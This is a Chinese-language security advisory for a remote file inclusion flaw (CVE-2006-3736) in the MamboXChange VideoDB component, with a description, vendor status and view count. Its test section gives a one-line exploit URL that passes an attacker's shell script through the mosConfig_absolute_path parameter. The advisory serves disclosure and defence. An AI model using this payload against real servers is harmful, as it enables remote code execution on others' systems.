发布日期：2006-07-19
更新日期：2006-07-19

受影响系统：

MamboXChange VideoDB 0.3en

描述：

---

BUGTRAQ  ID: 19049
CVE(CAN) ID: CVE-2006-3736

VideoDB是Mambo中的一个组件，用于从网络上下载数据信息，管理视频收藏。

VideoDB组件在处理用户请求时存在输入验证漏洞，远程攻击者可能利用此漏洞在服务器上有Web进程权限执行任意命令。

模块的core/videodb.class.xml.php脚本没有正确地验证mosConfig_absolute_path参数的输入，允许攻击者可以通过包含本地或外部资源的任意文件导致执行任意代码。成功攻击要求打开了register_globals。

<*来源：h4ntu
  *>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

http://[site]/[mambo]/components/com_videodb/core/videodb.class.xml.php?mosConfig_absolute_path=[shell]

建议：

---

厂商补丁：

MamboXChange
------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://mamboxchange.com/projects/videodb/

浏览次数：2230
严重程度：0（网友投票）